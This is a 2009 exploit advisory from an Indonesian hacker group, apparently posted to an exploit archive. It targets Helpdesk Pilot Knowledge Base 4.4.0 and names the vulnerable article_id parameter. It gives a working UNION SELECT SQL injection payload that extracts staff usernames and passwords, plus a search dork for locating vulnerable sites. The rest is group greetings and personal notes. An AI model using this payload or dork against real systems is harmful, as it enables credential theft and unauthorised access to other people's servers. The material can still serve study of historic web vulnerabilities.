59 lines
No EOL
1.9 KiB
Text
59 lines
No EOL
1.9 KiB
Text
#############################################################################
|
|
#
|
|
[~] Helpdesk Pilot Knowledge Base SQL injection vulnerability - (article_id)#
|
|
[~] Author : kaMtiEz (kamzcrew@gmail.com) #
|
|
[~] Homepage : http://www.indonesiancoder.com #
|
|
[~] Date : Desember 29, 2009 #
|
|
#
|
|
#############################################################################
|
|
|
|
[ Software Information ]
|
|
|
|
[+] Vendor : http://www.helpdeskpilot.com/
|
|
[+] Download : -
|
|
[+] version : 4.4.0 or lower maybe also affected
|
|
[+] Vulnerability : SQL injection
|
|
[+] Dork : "Think iT"
|
|
[+] Price : 1. Standard = $299.95
|
|
2. Professional = $399.95
|
|
3. Corporate = $499.95
|
|
[+] Location : INDONESIA - JOGJA
|
|
|
|
#############################################################################
|
|
|
|
|
|
[ HERE WE GO .. LIVE FROM JOGJA CITY ]
|
|
|
|
[ Vulnerable File ]
|
|
|
|
http://127.0.0.1/[kaMtiEz]/knowledgebase.php?act=art&article_id=[INDONESIANCODER]
|
|
|
|
[ Exploit ]
|
|
|
|
-666+union+select+concat_ws(0x3a,staff_username,staff_password)+from+hdp_staff--
|
|
|
|
===========================================================================
|
|
|
|
[ Thx TO ]
|
|
|
|
[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown SurabayaHackerLink
|
|
[+] tukulesto,M3NW5,arianom,tiw0L,abah_benu,d0ntcry,cimpli
|
|
[+] Contrex,onthel,yasea,bugs,Ronz,Pathloader,MarahMerah
|
|
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue a.k.a mbamboenk
|
|
|
|
[ NOTE ]
|
|
|
|
[+] Nyak ama babe gua .. tak lupa adik gua ..
|
|
[+] mungkinkah semua yang dulu tlah datang menghilang ku terus bertanya engkau dimana
|
|
[+] Dengerin Radio yach di http://antisecradio.fm manteb2 loh .. :D
|
|
|
|
[ QUOTE ]
|
|
|
|
[+] HAPPY NEW YEAR ^_^
|
|
[+] Welcome 2010 .. lets r0x !
|
|
[+] Tukulesto : lets make it better ,, soon .. :P~~
|
|
|
|
[ EOF ]
|
|
|
|
[+] INDONESIANOCODER TEAM
|
|
[+] KILL -9 TEAM |